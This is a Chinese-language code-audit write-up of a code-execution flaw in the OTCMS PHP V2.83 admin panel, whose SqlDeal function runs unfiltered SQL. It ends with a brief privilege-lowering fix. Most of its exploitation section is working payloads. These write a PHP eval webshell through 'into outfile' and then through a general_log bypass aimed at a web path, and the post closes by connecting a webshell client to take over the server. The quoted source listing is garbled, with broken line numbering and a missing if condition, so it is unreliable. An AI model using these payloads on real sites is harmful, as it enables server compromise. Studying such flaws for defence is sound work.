【程式碼審計】OTCMS_PHP_V2.83_程式碼執行漏洞分析
阿新 • • 發佈:2018-12-03
0x00 環境準備
OTCMS官網:http://otcms.com
網站原始碼版本:網鈦CMS PHP版 V2.83 [更新於2017.12.31]
程式原始碼下載:http://d.otcms.com/php/OTCMS_PHP_V2.83.rar
測試網站首頁:
0x01 程式碼分析
1、漏洞檔案地址:/admin/sysCheckFile_deal.php 第523--540行:
- function SqlDeal(){
- global $DB,$skin,$mudi,$menuFileID,$menuTreeID;
- $backURL = OT::PostStr('backURL');
- $sqlContent = OT::PostStr('sqlContent');
- if
- JS::AlertBackEnd('SQL語句不能為空.');
- }
- 10.
- 11. $judRes = $DB->query($sqlContent);
- 12. if ($judRes){
- 13. $alertResult = '成功';
- 14. }else{
- 15. $alertResult = '失敗';
- 16. }
- 17.
- 18. JS::AlertHrefEnd('執行'. $alertResult .'', $backURL);
- 19.
20. }
這段函式中,首先進行接收引數,判斷sqlContent是否為空,然後帶入到資料庫中執行,根據返回結果判斷語句是否執行成功。可以看到引數並未進行任何過濾或處理,導致程式在實現上存在程式碼執行漏洞,攻擊者可以構造SQL語句寫入指令碼程式碼,進一步觸發程式碼執行,控制網站伺服器許可權。
0x02 漏洞利用
1、登入後臺,首先通過資料庫備份功能獲取網站物理路徑:
2、訪問漏洞地址,構造SQL語句進行檔案寫操作
漏洞URL:http://127.0.0.1/admin/sysCheckFile.php?mudi=sql
Payload:
- select '<?php eval($_POST[g]);?>' into outfile 'e:/study/WWW/otcms/Data_backup/1.php'
執行失敗,程式在into outfile進行限制了。
3、如何繞過這種限制?
構造SQL語句利用日誌寫入檔案:
- Payload:
- set global general_log = on; #開啟general log模式
- set global general_log_file = 'e:/study/WWW/otcms/Data_backup/1.php'; #設定日誌目錄為shell地址
- select '<?php eval($_POST[g]);?>' #寫入shell
4、成功觸發指令碼程式碼
5、通過菜刀連線,獲取網站伺服器控制權限
0x03 修復建議
1、Mysql資料庫降權處理,讓入侵者無法做高許可權下可做的事!
最後
歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。